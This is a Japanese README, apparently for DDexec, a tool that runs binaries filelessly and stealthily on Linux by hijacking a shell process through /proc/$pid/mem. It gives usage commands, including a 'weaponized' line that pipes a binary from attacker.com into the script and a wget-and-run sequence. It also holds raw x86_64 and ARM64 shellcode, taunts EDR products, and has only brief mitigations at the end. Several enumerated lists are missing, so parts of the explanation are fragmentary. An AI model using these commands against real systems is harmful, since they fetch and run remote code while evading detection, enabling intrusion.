
Linux上で、シェルのプロセスを別のプロセスで「上書き」することによって、ファイルレスかつステルス的にバイナリを実行する手法。
DDexec は大幅に更新され、ほとんど別物になりました。ELF の解析はシェルスクリプトではなく機械語で行われるようになり、はるかに高速、信頼性が高く、理解しやすくなりました。また、依存関係の数を必要最小限にまで減らしました。
また、シェルの算術演算への依存もほとんどなくなり、Android でも動作する可能性があります。
Linux では、プログラムを実行するためには、それがファイルとして存在し、ファイルシステム階層を通じてアクセス可能である必要があります(これが execve() の動作です)。このファイルはディスク上または RAM (tmpfs, memfd) 上に存在できますが、ファイルパスが必要です。このため、Linux システム上で実行されるものを制御することが非常に容易になり、脅威や攻撃者のツールを検出したり、そもそも任意のプログラムの実行を防いだりすることが簡単になっています(例:一般ユーザーが実行可能ファイルをどこにも配置できないようにするなど)。
さて、目的のプロセスを起動できないのであれば... 既存のプロセスを乗っ取って、望む動作をするまでねじ曲げればいいのです。
実行したいバイナリを ddexec.sh スクリプトにパイプで渡します。スクリプトの引数は、プログラムの引数(argv[0] から始まる)です。
試してみてください:
bash ddexec.sh ls -lA < /bin/ls
これは以下のようにして容易に武器化できます
wget -O- https://attacker.com/binary.elf | bash ddexec.sh argv0 foo bar
また、機械語を直接実行できる ddsc.sh スクリプトもあります。
以下は、memfd(メモリ上のファイルを指すファイルディスクリプタ)を作成するシェルコードの使用例です。この memfd に後でバイナリを書き込み、メモリから実行できます。
bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4
ARM64 でも同様の手順です。
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"
テスト済みの Linux ディストリビューションは Debian、Alpine、Arch です。サポートされているシェルは bash、zsh、ash(busybox)で、アーキテクチャは x86_64 および aarch64(arm64)です。
2022年12月12日現在、dd の代替手段をいくつか発見しました。そのうちの一つである tail は現在、mem ファイルを通じて lseek() するためのデフォルトのプログラムとして使用されています(これが dd を使用する唯一の目的でした)。その代替手段は以下の通りです:
tail
hexdump
cmp
xxd
SEEKER 変数を設定することで、使用するシーカーを変更できます。例:
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
スクリプトに実装されていない有効なシーカーを見つけた場合でも、SEEKER_ARGS 変数を設定して使用できます:
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
これをブロックしてみよ、EDR よ。
このスクリプトは動作に以下のツールを必要とします。
bash | zsh | ash (busybox)
tail | dd | hexdump | cmp | xxd | any other program that allows us to seek through a fd
ash の場合、tail、dd、hexdump、cmp、xxd はビルトインであるため、実際には依存関係ではありません。
注:このスクリプトは最新の busybox でのみ動作します。最も古いバージョンについては確認していません。v1.35.0 では動作することを確認していますが、v1.30.0 では動作しません。
プロセスのメモリを任意に変更できるなら、そのプロセスを乗っ取ることができます。これは既存のプロセスをハイジャックし、別のプログラムに置き換えるために使用できます。この実現方法としては、ptrace() システムコールを使用する方法(システムコールを実行できるか、システム上で gdb が利用可能である必要がある)か、より興味深い方法として /proc/$pid/mem に書き込む方法があります。
ファイル /proc/$pid/mem は、プロセスのユーザーランドのアドレス空間(例:x86-64 では 0x0 から 0x7ffffffffffff000 まで)の一対一マッピングです。つまり、このファイルのオフセット x で読み書きすることは、仮想アドレス x の内容を読み書きすることと同じです。
ここで、直面する3つの基本的な問題があります:
しかし、巧妙な解決策があります:
mem ファイルを指す書き込み可能な fd を作成できます... その fd を使用する子プロセスはシェルのメモリを変更できるようになります。maps ファイルを確認することで、プロセスのアドレスレイアウトに関する情報を得られます。lseek() を行う必要があります。シェルからは、tail や悪名高い dd などの一般的なバイナリを使用してこれを行うことができます。詳細は EverythingExec セクションを参照してください。手順は比較的簡単で、理解するのに専門知識は必要ありません:
/proc/$pid/syscall から、プロセスが現在実行中のシステムコールの後に戻るアドレスを取得します —このファイルを読み取っているため、そのシステムコールは read() であり、アドレスは libc の read() ラッパー内にあります。これは、後でステージャーが見つかる場所を確保するためです。mem を通じて書き込み不可のページを変更できます)。そのステージャーは、より大きなシェルコードを読み込んで実行します。execve() を呼び出すたびに行うのと同じ手順を実行します:
シェルコードは loader.c をコンパイルし、そのアセンブリを調整してコンパイラによって導入された多くのアーティファクトを削除・簡略化して生成されました。
さて、いくつかの TODO があります。これに加えて、私はシェルスクリプトについてあまり詳しくないことにお気づきかもしれません(私はどちらかと言うと C プログラマです)。このプロジェクトの一部だけで、"役に立たない cat の使用" 賞を10年分獲得したに違いありません —このツールの作成において猫は一匹も傷つけられていません— そして他のバリエーションも同様です。 — 他のシェルへの移植 — 究極的にはスクリプトを POSIX 準拠にするべきです。
とにかく、フォークして PR を送ってください。ただし、貢献する際には、サポートされているシェルで動作しなくなる PR は受け入れられないことに留意してください。それは貢献ではなく、単に壊すだけです。変更は POSIX 準拠であることが望ましいです。
ただ... お願いです、お願いです、コードを確認して、少なくとも Debian と Alpine 上のサポート対象のシェルで動作するかどうかを確認してください。たった数個の Docker コンテナです。
このツールを公開した後、Sektor7 が数年前にこのほぼ同じ手法をブログで 公開 していたことを知りました。
それにもかかわらず、私はこの手法をほぼ独立して考案しました。おそらくこの手法の最も賢い部分は、継承されたファイルディスクリプタの使用であり、そのアイデアは、私がこのトピックについて考え始めるほぼ1年前に David Buchanan によって 提供 されました(Sektor7 のブログに触発されたものです)。これだけで、この手法がはるかにシンプルで洗練されたものになるだけでなく、ASLR を無効にする必要性を排除することで、さらに致命的なものになります。
いずれにせよ、この手法をさらに広められることを願っています。それが重要なことです。
Carlos Polop —優れたペネトレーションテスターであり、さらに良い友人— に感謝します。彼がこのテーマについて考えさせてくれ、有益なフィードバックと関心を寄せてくれました。また、プロジェクト名のアイデアも彼のおかげです。この記事を読んでいるあなたは、すでに彼の素晴らしいツール PEASS を使用して、彼の著書 HackTricks の記事を参考にしたことがあると確信しています。
以下のような対策が考えられます:
mem ファイルのサポートを無効にしてコンパイルされたカーネルを使用する。Twitter で連絡できます。